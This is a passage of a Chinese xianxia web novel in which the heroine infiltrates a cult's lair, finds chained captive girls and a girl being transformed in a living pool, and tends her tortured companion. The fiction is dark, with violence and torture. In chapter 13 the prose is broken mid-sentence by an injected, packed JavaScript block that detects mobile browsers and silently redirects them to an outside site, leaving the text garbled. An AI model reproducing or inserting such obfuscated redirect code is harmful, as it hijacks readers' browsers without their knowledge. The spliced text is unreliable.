“小姐实在与小生有缘,故诚邀小姐回家中一叙。”古红笑道,“林中常有野兽,实在危险,因此派些仆从保护小姐的安全。” “多,多谢公子抬爱,但我与公子初次见面,此举……有悖礼教。”阿也低下头,小声道, “小姐放心,不过饮些热茶罢了。”古红作出“请”的手势,“此地危险,小生实在担忧姑娘安全。” 挺会演的。阿也垂下眼,余光扫一眼旁边虎视眈眈的黑衣人,颤声道,“那,那便多谢公子了。” 一行人在黑色断崖前停下脚步。 崖底像是被人生生用利器劈开,造出一线缝隙,阴冷的雾气从中飘出来,沉沉浮在碎石滩上。 惊呼一声,阿也踉跄几步,摔倒在地。 “小姐?”古红关切道,却没有要扶的意思。 阿也爬起来,不经意间踩住脚下石子,尴尬地笑笑,以衣袖擦去手上脏污,十分窘迫,“这……这里太滑了。” 石面被雾打湿,深深浅浅地泛起水光,瞧起来并无不同。 轻蔑的笑意自眼中闪过,古红拱手道:“是小生招待不周,待会定然好好向小姐赔罪。”刻意加重了“赔罪”二字。 “公子言重了。”阿也指向缝隙,迟疑道,“此处……便是公子的家?” “正是。”古红信手一挥,“小姐,请进。” 雾气散去了,泛黄的枯藤爬满整面山崖,厚重如帘,隐约露出三尺洞口,内里曲折幽深,仿佛通向无间地狱。 “小姐,家中规矩森严,有些东西不便入内。”古红的视线轻飘飘地落在她食指的储物戒上。 “这……”阿也犹豫道。 “小姐大可放心,不过是例行检查,并非觊觎财物。”古红使了个眼色,黑衣人逼上前。 余光扫过不远处被掩起来的神石,确保无人发现,阿也无奈道,“好吧……”她摘下储物戒,撤开禁制。 古红向她的储物戒中注入元力,顿时惊讶。 储物戒的空间比他想象的更大,但装的东西却很少,三套换洗衣物、一些零散之物、三瓶紫黑色的药剂和一个玉盒。 “小姐,你这储物戒品相甚高啊。”古红意有所指,“空间如此之大,真令人羡慕。” “听闻此处遍地天材地宝,我本想多寻些东西回去,才舍得用全部家当换来此物。”阿也愁眉锁眼,“没想到在此处寻了好几天,一无所获,真是亏大了。” “哦?姑娘在此处寻了几天?”古红不怀好意地问。 “五六天吧,日子记不太清了。”阿也不动声色地回答。 “若是细心找找,还是有的。”听见日子,古红眼中的戒备淡了些许。他调动元力,小心接触戒中物件。 换洗衣物十分平常,简单几件白袍,衣料倒是极佳,不过女子讲究这些也正常。 吃食无甚特别,不过有盒糕点十分精巧,粉粉嫩嫩的桃花,倒有四种不同的颜色。 大概是追求者送的礼物?古红忍不住瞥了眼阿也,后者不明所以地笑笑,不免在内心评判,虽算不得国色天香,但也有几分姿色。 拉开干瘪的钱袋,几枚金叶子和一堆零散的银锭。放在寻常百姓家是一笔巨财,但对于修士而言,实在入不了眼。 倒是佐证她的说法,家境贫寒又斥巨资换物。古红放下戒备,随意支使一道元力触碰玉盒,立即被弹开,骤然警惕,“这里面装了什么?” 他以眼神示意阿也拿出玉盒。 “一些药。”阿也打开玉盒,张口就来,“这是生热丹,听说阴山很冷,我特意花钱买的。” “这是疗伤丹,听说这里有很多混元兽,我怕打不过,买来保命的。至于这些药剂,是用来强身健体的。” 火杏的味道散开,周围温度都高了些许。 “如此。”古红呼吸急促起来,脸上浮起一层薄红,不知是热还是别的缘故。他忙盖上玉盒,不再过问,转而盯着她右手,“小姐手上……拿的什么?” 还是没逃过。阿也暗叹,掐断绿丝,默数三下后拿出折扇。失去元力滋养,扇骨褪成灰白色,青金扇面虽黯淡了,仍不掩华贵之气。 “这是我娘留下的遗物。”阿也低声道,“她原是富贵人家的千金,与我爹一见钟情,舍了一切下嫁于他,没想到……” 她抽噎一声,实在是编不下去了,在心中双手合十,诚恳致歉,对不起,华谏。 元力滑过折扇,没有停留。 华而不实。古红点评道,又在储物戒中搜寻一圈,的确没有他想找的东西,方肯收手,“小姐请随我来。” 古红侧身迈入洞中,两个黑衣人紧随其后。待拉开一些距离,立刻有人催促她上前,“小姐,请。” 防备心挺重,不轻易把后背示人。阿也心道,走进洞中,光线骤然昏暗。 “好暗呀……”阿也惊呼,踉跄几步,扶着石壁,留下一道浅浅印记,又若无其事地收回,“你们住在这里不害怕吗?” 没有人回应。阿也听见自己的声音在狭长的通道中反复回荡,扭曲得不像人声,好一会儿才淡去,目的已达到,于是不再说话。 走了不知多久,阿也察觉身上一热,仿佛穿过某种屏障,通道开始变得宽阔,微弱的光从更深处透出来,一种潮热的味道在空气中浮动,湿哒哒、黏糊糊的,带着似有若无的血腥气。 越往里走,光愈发明亮,透着隐约的红,让人产生一种自己是扑烛飞蛾的错觉。 “到了。”前方传来古红的声音,石门旋拧而开。 一线红光平扫而过,两面石壁收窄,切出楔形石厅。石厅正中央摆着七尺香案,供奉满案红烛,火光照亮正前方的壁画。 宏伟的四方锥塔,共有三层,形制庄严,偏偏充斥一股阴气,仿佛被邪物玷污的佛塔。 第一层是草叶花果,第二层是百兽争霸,第三层是男女交|媾,而塔顶被人挖去了,留下半个拳头大小的坑。 这个大小……阿也不动声色地微蜷五指,仿佛神石还留在手中。 香案右方,是一石台。五六位少女衣衫褴褛,或坐或跪,四肢被锁链限制,无法躺下。听见门开的声音,她们瑟瑟发抖,不敢抬头。 香案左侧,是一石池。一名少女抱膝而坐,身披轻纱,长发披散,一波又一波的红水洗过她光洁的身体,散发出催人欲呕的味道。 “这些……都是我的藏品。” 将一切尽情展示出来,古红转向阿也,微微一笑,“不知小姐是否喜欢?” 并非想象里的惊慌或是惧怕,她面无表情,睫羽低垂,投下一片阴影,盖住了神采。 没来由的心悸,古红不禁叫道:“小姐?” 仿佛被吓傻后意识回神,面前的人失声道,“公,公子,这些都是什么!”她四下乱看,想要寻找出口逃离这里,“我不要待在这里!” 古红对这反应十分满意,扬手召来黑衣 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“小姐想像她一样变得如此美丽么?”石梯上的古红俯视她,掩嘴一笑。 美丽?阿也察觉他话里的向往,看向壁画,恍惚间生出一种错觉,香案两侧的少女正如祭坛上的贡品,只是瓜果与牛羊的区别。 阿也收回视线,指着卓清歌,声音发颤,“你,你把她怎么了?” “她太不听话了。”古红一脸遗憾,话锋一转,含笑道,“不过也正是如此,才有了小生与小姐的缘分啊。” 这是想找人替代卓清歌?阿也猜测,战战兢兢地低下头,迈过石梯最后一阶。 落地的刹那,黑衣人上前,掏出两个并指宽的漆黑金属环,要扣在她手腕上。 阿也躲闪不及,被黑衣人攥住肩膀,眼泪汪汪地转向古红,“公子,好痛……可不可以放开我?我,我发誓一定会好好听话的……”嘴上说着,手慢慢缩进袖中,扣住坚硬,青筋暴起。 被她求助的眼神取悦,古红怜惜道:“怎能对小姐如此粗鲁?”他加重语气,“你把容器弄伤了,公子不高兴了,怪罪下来怎么办?” “圣子息怒!”面前的黑衣人登时下跪。 公子?听起来地位还在身为圣子的古红之上。阿也松开手,想起那张平平无奇却心思深沉的脸。 那条绿虫晃悠悠爬了出来,缠上他的发髻。古红一顿,道:“小生有些事情要处理,小姐在此处待一会儿。” “圣子……”另一黑衣人犹豫出声。 “这里死气沉沉的,需得要些生气才是。”古红笑眯眯道,似乎早已看透她的实力,“相信小姐很乖,不会随便乱碰的。” “是,公子!”阿也连连点头,目送古红等人登上石梯,石门再度合上。 脚步声有节奏地远去,突然有些变化。 就猜到会派人来偷听。阿也勾唇,走近石池,语调慌张地叫了几声,“姑娘?姑娘?” 没有任何反应。卓清歌呆愣地直视前方,眼也不眨一下。水面起伏,红浪洗过她的身体,发出汩汩声响,仿佛软舌舔舐食物,涎液黏腻。 这石池……阿也注意到内壁不同于坚硬外表,颜色是暗红里间或夹杂一点白润的油光,材质柔软细腻,极其诡异。 试探性地吹出一口气,气息抚过内壁的瞬间,条状纹理急剧收缩,仿佛松弛的筋肉绷紧。 活物。阿也瞳孔一缩,这石池是活物! “你……认识小姐?”背后忽有声音响起。 阿也应声回头。铁链被拉动的摩擦声里,石台上有位少女站起来。她用破烂的袖口抹去脸上的脏污,露出一双明亮的眼睛,满含希冀。 “你……是来救我们的吗?” 13. 牵连 “你……是来救我们的吗?”少女满怀希冀地问。 “你是谁?”阿也反问。 “我是小姐的贴身侍女,我叫驭菱。”少女十分执着,“你是来救我们的吗?” “我不认识驭菱,也不认识你家小姐。”阿也摇头,“至于救人?我自身都难保,哪里能救你们?” “这样啊……”驭菱坐了回去,锁链随之垂落,失望地耷拉着。 “你多大了?”阿也问。 见不是自己想要的回答,驭菱闭上眼睛,偏头不理。附近几位探出头的少女跟着缩了回去,埋起头不再看向这边,噤若寒蝉。 也不知道她们在这里都经历了些什么。阿也暗叹,走上石台,想掂一掂锁链的份量,却见石壁上那些凿痕都是新的—— 果真刚建成不久? 正要再上前,驭菱一个激灵,铁链哗啦响起,“不要过来!”她扯着嗓子叫喊,抖如筛糠,哀求道:“我错了!我再也不敢了!” 阿也一惊,立刻摊开双手,示意自己没有兵器,一步步后退,“没事……先冷静……” 半天,驭菱逐渐平静,用破破烂烂的袖子擦去眼泪,抱紧自己,朝阿也惨笑一下,不再说话。周围的少女们小声啜泣起来,气氛哀哀。 阿也曲起指节,勾住锁链荡了荡,惹来另一端的驭菱不解的目光。她指了指门外,又指了指耳朵—— 有人在偷听。 驭菱当即意会,喜悦漫过两颊。她嘴唇嗫嚅半天,什么都没说出口,只敢用力点头。 “你多大了?”阿也问。 “十七。”驭菱迫不及待地回答。 见她肯配合,阿也又聊了一些该有的话题,诸如家在何处,有几口人之类。陆续有人抬头看来,她并不理睬,一味演下去。 察觉门外不耐烦的响声,阿也对驭菱眨了眨眼,掐了自己一把,挤出哭腔:“那怎么办啊?我不会死在这里吧?我还这么年轻!我还不想死啊!” 接下暗示,驭菱唉声叹气道:“认命吧。乖乖听圣子的话,还能好过一些。” “真的吗?只要听话,圣子他们就不会杀我?……” 一道落地声响起,又迅速远去。 终于走了。阿也靠在石壁上,懒洋洋道:“你们在这儿待了多久?” 意识到她的变化,驭菱顿时支棱起来,“一周?半个月?”她想了想,苦笑道:“或者很久了,整天被关在这里,分不清时日。” “这是新建的据点?”阿也说出推测。 驭菱讶然,“姑娘厉害,的确是新据点。” “其他人都在原来的据点?”阿也接着问。 “只剩下四五个还在原来的据点。”驭菱抿唇,“其余的姐妹都……”她抽噎一声,没有再说下去。 “那原来的据点在哪里?”阿也换了个问法。 “这……”驭菱低声道,“我们是被蒙着头脸带进来的,所以不清楚据点的位置。”她神色失落。 阿也岔开话题,“他们抓人做什么?” “为了设阵。”有人抢答。 循声看去,石台最深处,半跪于地的少女挺直脊背,笑嘻嘻地投来愤恨的眼神。在场之人或多或少都有些伤痕,却不像她新伤旧伤一起叠了满身青紫。 原来知情者在这。阿也转向驭菱,“她是?” “琅矜。”驭菱小声道,“她在这儿呆的时间最长,性格……有些古怪。” 任谁在这儿呆久了都会变得古怪吧。阿也心道,转向琅矜:“你可知他们在设什么阵?” 琅矜咧嘴一笑,“把你们都杀了的阵。” ……好吧,是有点古怪。阿也心想,衣袖被人扯动,她俯下身,听驭菱耳语道,“她是被家里人卖来的。” “被家里人卖来?”阿也诧异。 “听说是为了给兄长娶妻……”驭菱压低声音。 “在哪窃窃私语什么呢!”琅矜大吼,冲驭菱挥起拳头,挖苦道,“我看你是还没被打够!” “疯子!”驭菱狠狠瞪她一眼。 “哪有你疯?什么圣子,求求你不要动我家小姐,要打就打我吧——”琅矜摇头晃脑,学她的求饶的模样,讥讽道。 “你!”驭菱猛地起身,气得脸色涨红,被阿也及时拦下,“等等,有人来了。” 几人迅速回到原来的位置,该保持沉默的保持沉默,该笑嘻嘻的继续笑嘻嘻。 片刻后,石门打开,一阵阴风溜进石厅,刮得满案烛火晃动,拽出重重鬼影。黑衣人倾巢而入,人手提着一个木桶,不知装满什么,随动作撞出哐当水声。 古红闲庭信步地走在最后,瞥过石台上抱膝而坐的阿也,像是逗狗般伸出手,勾了勾手指,“小姐真乖,到这儿来。” 有机会剁掉。阿也心想,战战兢兢地起身,随他走到石池边,见黑衣人围住石池举起木桶,小声问:“这是什么?” “小姐请看。”古红拍掌,桶中的内容物倾泻而下,砸出扑通水花,一大团东西浮上水面—— 纠在一起、大团的线虫。 色泽艳丽,黑红翠紫,有的光滑,蠕动时褶皱层层收缩,有的体覆软毛,像霉斑长出的菌丝。 刹那间,石池内壁的肌理齐齐缩紧了,呈现出凝血般的暗红色,数不清的尖刺从白润油光里摇曳着伸出来,准确地扎进那些虫中。 或长或短的线虫在水中剧烈翻搅、抽动,软绵绵的身体以肉眼可见的速度干瘪下去。 这场景让人想起螽斯用口器扎进花实,尽情吮吸香蜜。阿也一阵恶寒,及时掐断联想。 尖刺尽情搅动,发出哗啦水声,仿佛满足的喟叹。 虫尸随红浪起伏,把池中搅得一片浑浊,卓清歌仍然无动于衷,眼神木然,除去尚有呼吸外,与瓷胎并无分别。 难道五感被人封住了?阿也盯紧卓清歌,察觉她的实力正在稳步提升,越过一个台阶。 虫尸缓慢沉入池底,不再浮起。 “接下来还请小姐好好观赏。”古红微微一笑,“如此美丽动人的一幕。” 黑衣人从最后一个木桶里取出一枚蛋,恭敬地双手奉上,灰白的蛋壳上布满靛蓝色的棱形花纹。 是混元虺的卵。阿也眯起眼,如此剧毒之物,他想用来干什么? 古红伸出手,一指虚搭在蛋顶。元力注入蛋中,蛋壳变得透明,映出内部蜷缩的蛇影,丝线一样粗细。随着更多元力的注入,它缓缓舒展开来,似乎就要苏醒。 他要催熟它?阿也皱眉。 “咔。” 突然,他五指大张,徒手捏碎蛋卵,从一滩透明黏液和隔膜碎片的混合物中挑出蛇胎,径直丢入池中。 满池红水骤然沸腾! 气泡争先恐后地上涌,破裂又合拢,带起池底的虫尸残渣,黏上少女的轻纱。 尖刺探出水面,顶端下垂分裂,泌出方才吸食的精华。红水被五彩斑斓的晕斑渲染,仿佛混色的染缸。 卓清歌厉声尖叫起来,四肢抽搐,挣出水面下的锁链。鳞片刺破她的体表,一片片生长出来,层层叠叠,整齐排列,隐隐浮现出靛蓝色的棱形花纹。 她猛地睁眼,一双赤色的竖直瞳孔,依旧呆滞如瓷胚,好似变成混元虺的人形化身。 “真美啊。”古红赞赏一句,拿手帕拭去脏污,划破手指,在轻纱覆面处涂上寥寥几笔,画出四方锥塔的图案。 笔成之时,一丝黑气从塔顶逸出,钻进红水之中。尖刺霎时枯萎,水面复归平静。 但变化仍然在继续。 受黑气所迫,鳞片不甘心地缩回人皮之下,紧贴白骨,待伤口长出新的粉嫩肉芽,又跃跃欲试,刺破血肉,反反复复。 卓清歌在混元虺化身与人类少女间来回转化,时而悲伤地哭泣,时而愤怒地嚎叫。 浓郁的血气里,背后的四方锥塔似乎要脱离石壁,在此降落。 阿也冷眼审视这座邪塔,每层的刻纹似乎都有了新的寓意,一阶又一阶,通向顶端的神格。 草叶花果,吸收天地元气,进入混元兽腹中,成为养料,而混元兽互相搏杀,割据称霸,最终又沦为供养人类的贡品。 眼前的石池仿佛一尊熔炉,提炼出混元兽的精华与女体融合,再以其为炉鼎,集之大成,作为最后一块垫脚石……通向最终。 真是罔顾人伦的邪术。 “真漂亮啊。”古红绕着石池走动,啧啧称奇,仿佛在观赏鱼塘中的锦鲤,语气陡然一转,冷冷道,“做什么不好?偏偏要自封五感。” 自封五感?阿也看着黑气在卓清歌的额头盘旋,找不到入口,不甘心地散去。 所以古红才要找一个替代品? 古红转头,朝阿也和颜悦色道,“小姐听话,乖乖的,小生定然保证小姐比她还美丽。” 阿也在心中冷笑,面上泫然欲泣,“圣子为何要强迫这位姑娘……” “小生没有强迫人家。”古红掀起轻纱,手指暧昧地划过卓清歌苍白的下唇,“是她自愿的。” “放屁!”石台上的琅矜破口大骂,“你不要脸!明明是你威胁……” “聒噪。”古红脸色一寒,隔空挥手。 元力化形,狠狠拍在琅矜右脸上,“啪”的一声,一个鲜红的巴掌印浮现出来。 “咳!”琅矜喷出一口血,撞上石壁,软软地倒了下去。 “圣子息怒!”驭菱同两位少女跪地求饶。 阿也移开眼,柔声劝慰,“圣子莫要和她们计较,可别气坏了身子。” 听到这句,古红缓和脸色,搂住阿也右肩,凑近耳边,“等小生找到那东西,再亲手为小姐献上一份大礼。” 因嫉妒兴奋而扭曲的声音钻进耳里, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15239274|166238||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 登时与拍卖会上恶意竞拍的那个人重叠在一起。 原来是他害自己花了那么多钱。阿也敛眸,隐去杀意,含笑道,“那小女在此恭候了。” 忽然,门外响起急匆匆的脚步声,“圣子,抓到人了!” 半个时辰前。 “姑娘,我们这是要往何处去?” 华谏停下脚步,眼前黑色的断崖高耸入云,近乎垂直的切面被风蚀刻出痕迹,纵容枯藤肆意攀爬。 女子摇头不语,伸手指向崖底的缝隙。 这是让自己进去?华谏蹙眉,“姑娘,此处实在危险,不可冒进。” 女子皱起脸,似是不满。她不顾华谏阻拦,抬脚就往里走,身影顷刻间被黑暗吞噬。一炷香后,完好无损地走了出来,连连比划出弟子令牌的样式,意指就在其中。 在未知的危险与失踪的师姐之间考虑半晌,最终华谏深吸一口气,往缝隙走去,嗅到阴冷气息里一股说不清道不明的味道。 直觉不妙。他伸手拦下欲跟随的女子,摇头道,“请姑娘在此等候。” 女子后退几步,乖乖点头。 摸不清此人身份,还是分开为好。华谏心想,托起幼树,借助莹莹绿光走入洞中,处处留神。 “这是……”余光瞥见熟悉的印记,华谏伸手抚过,两横一竖,在华宗通识录里的意思是…… 快逃! 前方有脚步声接踵而来,在狭窄通道里反复回荡,寸寸逼近。 华谏猛地回头,女子挡在洞口,歪着头看他,眼中空空荡荡,仿佛未点睛的纸偶。 “轰——” 石门旋转而开,身形高大的黑衣人拎着东西进来。他与其他人不同,整张脸被硬木面具罩住,唯独露出一双浑浊的眼睛,黑气翻滚不息。 见他肩头有血,古红同四周黑衣人调笑,“白一,没想到居然还有人能把你伤成这样?” 白一沉默不语,甩出手上东西。 “嘭嘭嘭——” 接连的碰撞声里,那东西滚下石梯,停在香案前,软绵绵的一团。 阿也攥指成拳,盯住那身沾满灰尘的蟹壳青长袍——是华谏。 黑布罩住他的上半身,双手被缚于背后,衣袖被扯破半边,露出小臂上的爪痕,以及腕上一对并指宽的漆黑金属环。 “让我来瞧瞧是谁这么厉害。”古红笑着挑开黑布,先是一惊,随后视线贪婪地描摹他的眉眼,“哟,没想到还是个俊俏公子。” 少顷,他抚上华谏愤怒的双眼,眼中难掩嫉妒,“这双眼好生漂亮。” 生怕古红把那双眼抠出来,阿也立即上前,一手拉住他的衣袖摇来摇去,状似撒娇,“公子,公子看看我……”另一手迅速去掏华谏腰间令牌。 “唔——” 见到阿也,华谏瞪起眼,想开口说话,一张嘴却被弹出的黑色符咒压制,挣扎间,腰间令牌反而掉了出来。 古红一怔,盯着那枚与阿也一模一样的令牌看了片刻,眼睛忽地一亮。 坏了。阿也暗道不妙,连忙补救,“师兄是为寻我而来,但我愿意留在此处为圣子效命,恳请圣子高抬贵手,放我师兄一条生路。” “小姐。”古红幽幽道,见阿也没有让开的意思,一把拉起她,冷酷地甩到一旁,对黑衣人下令,“搜身,找东西。” 两个黑衣人按住华谏四肢,其中一个解不开繁琐的饰物,干脆撕碎外衫,摸索半天,一无所获,再破开储物戒的禁制搜寻一番,对古红摇了摇头。 “没有?怎么会没有?东西去哪了?”古红急得在原地踱步,忽然看向阿也,森森一笑,仿佛毒蛇亮出獠牙,“小姐莫不是在骗我?” “恳请圣子饶过我师兄罢!”阿也决心装到底,挤出眼泪,高呼道:“不知何事惹得圣子生气,我愿代师兄受过。” “我看不如……”古红步步逼近,阴测测道,“一个、一个地施刑,看看谁先交代东西的下落?”他转向白一,挑衅道:“你觉得呢?毕竟你才是公子亲信。” 敏锐察觉古红话中对白一的不满,以及对公子隐隐的忌惮,阿也心想,看样子黑衣人内部并非铁板一块。 “我去抓人了。”白一淡淡道,转身离开,无意卷入这场纷争。 “那小姐……”古红缓步上前来。 抓人?难不成是凌栾她们?阿也尚未回神,眼前瞬间一暗—— 有人挡在自己面前。 “我要换我妹妹。”华谏一字一顿地说,双臂被黑色符咒缠绕,止不住地发抖,是强行突破束缚的反噬。 “妹妹?”古红诧异道,目光在二人脸上打转,“长得真是一点都不像。”他眼一转,“不过公子模样生得这般好,小生有点舍不得下重手呢,不如还是小姐先……” 华谏慢慢弯下膝盖,头低下去。 “我想换我妹妹。” 14. 预谋 “姑娘,吃些东西吧。”驭菱劝她。 视线慢慢聚焦,油纸包里干瘪发黑的馍,泥罐里混杂沙石的溪水,已算驭菱口中难得的一餐。 一整天都没见到华谏了。阿也想。 没想到他会挺身而出,更没想到会……当时她一个愣神,错失良机,眼睁睁看着他被带走了,门合上的瞬间,还不忘对她露出个笑来。 真是丑死了。阿也心烦意乱,早知道应该先擒古红,要挟白一放人,大不了鱼死网破,不至于如此被动。 “姑娘……”驭菱担忧道。 “无妨。”阿也收好食物,打算等华谏回来再吃,见驭菱一脸不放心,遂开口道:“说说你与卓小姐的事吧。”正好转移注意力。 驭菱点点头,想了想,“我是十岁那年到了卓家,那时小姐才九岁,算是从小一块儿长大。”她不好意思地笑笑,“有时小姐开玩笑,还会唤我一声姐姐。” “小姐为人和善,府里的下人就没有不喜欢小姐的。小姐不嫌我身份低微,不仅替我取了驭菱这个名字,还与我同吃同住,教我读书修炼。可惜我天资愚钝,只学了些皮毛……” 见她半天未说到重点,阿也提醒道:“你是怎么到这儿来的?” 驭菱回过神来,歉意一笑,“约是去年六七月,家里来了消息,说娘亲病重,我就请了半月的探亲假。小姐知道后塞给我一大笔银钱让我赎身,好好服侍娘亲。” “结果在港口遇上人贩子,被药迷晕了。等醒过来,就在这儿了,也不知道娘亲怎么样了……”驭菱缩起身子,叹完气,接着讲。 “没想到半年前,我在这儿见到小姐。小姐说那时到处找不到我,去求卓总管帮忙。”驭菱苦笑,“可我一介奴仆,哪里值得商会大张旗鼓?” “小姐因此和总管大吵一架,被关了禁闭。小姐气不过,翻窗逃了出来,结果在港口遇上往生教的人。” 阿也问:“往生教?”是那些黑衣人? “你连往生教都不知道就敢来这儿?”琅矜嘲讽道,“不如直接去送死好了!” “闭嘴!”驭菱斥道,身边三四位少女随她怒目而视。 阿也算是看明了局势。 这六位少女共分两派。因卓清歌的缘故,多半以驭菱为首,剩下一个琅矜孤军奋战,不甘示弱地回瞪驭菱等人。 “好了好了。”阿也从中劝和,转向琅矜,摆出虚心请教的模样,“我初次下山,的确不知往生教是什么。” “此往生教非彼往生教。”琅矜冷哼一声,“早在二十年前,真正的往生教就绝迹了。” “那现在的往生教是……”阿也适时发问。 “一个空壳。”琅矜抬高下巴,“他们想借这个壳子掌控整个商会,好走衍化之路。” 衍化?是指昨日对卓清歌做的那些?阿也蹙眉,不对。要是想掌控整个商会,就不该对卓清歌下手。 “驭菱姑娘觉得呢?”阿也又问。 “不清楚。”驭菱目光悲伤,一顿,“我只想救小姐,小姐是为了保护我们才进入石池的。” 混元兽遍布五州,往生教何必大费周章来极境建造据点?借空壳无非是隐藏身份,背后是谁在支持他们? 往生教。她咬着这三个字,像是咬着坚硬的骨头,磨出咯吱声响,目光扫过对侧的石池和供奉的七尺香案,再转向四方锥塔的壁画。 阿也笑了一声,眼神冷下来。 就凭这条虚无的成神之路? 门外有脚步声响起,步伐散漫。 阿也收敛心绪,对驭菱使了个眼色,众人归位。 片刻后,石门打开,伴随缝隙里传出的几声笑,一团东西被丢了出来,砸在地上。 待人走远,阿也花了一些时间,认出那是华谏—— 玉冠被除,长发披散,里衣沾满血和泥,储物戒不见踪影。领口大敞,露出胸膛交错的鞭痕,再往上,颈间青紫的掐痕触目惊心。 阿也目光一颤,俯身拨开他遮脸的乱发,试过鼻息,松了口气,人还活着。 她小心翼翼地扛起华谏,走下石梯。 石台上的少女们让出地方,仿佛早已习惯。 “多谢。”阿也道谢,放平华谏,伸出二指搭在他脉上,调动元力在他全身游走,脸色逐渐阴沉。 没有一处完好的地方。 除去皮肉的外伤,四肢关节有不同程度的断裂,丹田被封,要穴被堵,主经脉有被强行续接的痕迹。 冷静。阿也告诉自己,深吸一口气。 小心汇入一丝元力,触碰被封印的丹田,立即被黑色符咒弹开,不得已转向被堵塞的要穴,细细挖开淤堵。 “唔……”华谏皱起五官,无意识地咬住下唇,印出深深的齿痕。 见状,阿也放轻动作,不经意间蹭起他的袖口,看见里头扭曲的五指,一怔,立即掀起另一只衣袖,相似的模样——他的手指被人一根根掰断了。 “姑娘你看!”驭菱惊得捂住嘴。 顺着她的指向,阿也看清华谏指甲上笔直的血线,以及甲缝里闪耀的银点——针! 每一根手指里都被插了针! 怒火燃烧起来,烧得头晕目眩。等等,再等等,阿也告诫自己,强迫自己冷静下来。 更多的元力涌入要穴,带着愤怒接连冲开淤堵,又放慢速度,缓缓流淌在经脉之中,滋养那些细小的伤口。 拭去他额头的冷汗,阿也轻轻圈住他的手腕,掌根抵住他的指节,要去捏针。 “不要……”一碰到针尾,华谏叫出声来,抖如筛糠,脸上流露痛苦甚至惧怕的表情。 第一次见他如此狼狈。阿也动作一顿,咬了咬牙,还是下不去手。 “姑娘,这针不能不取!”驭菱急道,“若是不取,等过段时间就再也取不出来了!” 阿也狠下心,双手一错,利落地卸下华谏下颌,防止他咬伤自己的舌头,随后掐住针尾,用力一抽! “唔!”一道血线飙射而出,溅在阿也右脸,落下点点红梅。 华谏剧烈弹动起来,仿佛岸上一尾濒死的鱼,让二人合力都几乎制不住。 阿也以眼神示意驭菱起身。 驭菱点了点自己眼尾,提醒道:“姑娘,你这里……” 见她用拇指随意一抹,驭菱还想说什么,正好阿也偏头看来,一刹那,两人目光相接。 一抹血痕涂过眼尾,堪称艳丽,但她眼神晦暗,仿佛沉积着乌云,即将降下赫赫风雷,声冷如冰,“让开。” 驭菱骇得后退几步,让出地方。 阿也单手架起华 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从泥罐中倒出上层清水,撕开柔软的里衣,沾了水,仔细擦去伤口附近的泥沙,熟练地包扎打结,动作渐渐放缓—— 她出门太急,忘记带药,只带了毒。 生热丹派不上用场,折血丹更是无用。 好在或许是古红怜惜这张脸,几处致命伤都被草草上过药。 阿也抹开那些结块的药粉,手感粗糙,不是什么好货色,不知为何想起很久以前,华谏送来的生辰礼中有一盒脂粉,她好奇地随手抹过,顺滑如匹练。 停下动作,阿也抬头看向驭菱,淡淡道,“有话直说。” 没想到会被发现,驭菱一愣,下意识避开她锐利如刀的眼神,又转了回来,“是这样……按照惯例,此后三天,看守都不会来。到时候我们制造混乱,姑娘趁机逃走,公子留在这里,我们小心照料,不会有事。” 我们?阿也环顾四周,少女们神色坚定。 原来她们刚才在商量这个?阿也直视驭菱,“然后让我找人来救你们?” 驭菱一惊,眼神飘忽不定,“若……姑娘愿意,自然更好。” 琅矜大叫:“你们疯了?” “闭嘴!”驭菱呵斥,神色有一瞬间的慌乱。 阿也似笑非笑,“不怕我跑了?” “我们相信姑娘。”驭菱转向石池中的卓清歌,躬身拜了三拜,掷地有声,“不强求姑娘救走我们,但至少带我家小姐出去。” “那就今夜寅时。”阿也斩钉截铁,“三个时辰后。” “这么快?”驭菱一怔,见她低头继续处理伤口,一副不容拒绝的模样,只得应下,再钻进人群继续商议,锁链相互剐蹭,擦出火花。 处理完外伤,阿也展开外袍,披在华谏肩头,又折起腰带,替他束起长发。 打理好一切,在他身边坐下,闭上双眼,阿也慢慢抚过整条潮湿的左袖,像是在把玩那些浓烈的血气,又或是提前习惯这种甜腥的味道。 其实还可以再晚一些,让准备更充分一些,胜算更大一些。 但她要忍不住了。 假使面前有面铜镜,阿也睁开眼,就能看见自己的瞳仁里,有赤色翻滚不息。 正如心中暴戾。 15. 内应 入夜时分,阿也被华谏的抽搐惊醒,才察觉他发了高热,忙找来干净的碎衣,拿凉水浸透了,微微拧干,敷在他的额头。 等到衣料变温,再换一些水,来回数十次,华谏脸颊的红晕褪去,但嘴里依旧念个不停。 贴近了,听清他发颤的哭声,“娘……娘……”一声又一声。 阿也咬紧牙关,好似生嚼未熟透的青李,酸汁淌进腹中,叫心肠都揪紧了。 她从未见过华谏这么脏,这么狼狈。 还是替她受过。 想了想,阿也拿出折扇,轻手轻脚地塞进他手中,聊以慰藉,结果不小心蹭上袖口的血迹。 正要去擦,扇面却微微亮起,青金双色更加浓郁,仿佛流淌的雾气,时不时有叶影闪过,一根绿丝从扇钉伸出,绕过漆黑金属环,搭上华谏指尖。 莫非是……阿也盯了一会儿,指腹抹过左手腕的咬痕,带下未凝固完全的血块,涂上扇钉。 扇面的色泽愈发鲜艳,似乎要滴出来,金属环不断散出黑气,将避让的绿丝一点点腐蚀。 但更多的绿丝爬出来,尽情舒展身姿,将扇钉沾染的血吸食干净后,仍不知足,又分出一根,缠上阿也左腕。 没想到捕形印还有这种作用。阿也察觉华谏气色逐渐转好,敛眸,默许了这一行为。 腕上微热发痒,仿佛被羽毛搔过。绿丝逐渐变得鲜红,仿佛一条明艳的红绳,将二人联结。 少顷,华谏睫羽微颤,似是快要醒来,“唔……” 阿也以掌作刀,及时斩断彻底变红的绿丝,扇面重归黯淡。 三息后,华谏眉眼一动,缓缓睁眼,又被人捂住,骤然一惊,“谁!” “是我。”阿也安抚道。 意识逐渐回笼,华谏的第一感觉仍是痛,但不再是尖刀带来的刺痛或是盐渍带来的涩痛,而是疲乏过后泡在温泉里的酸痛—— 伤口被处理过。 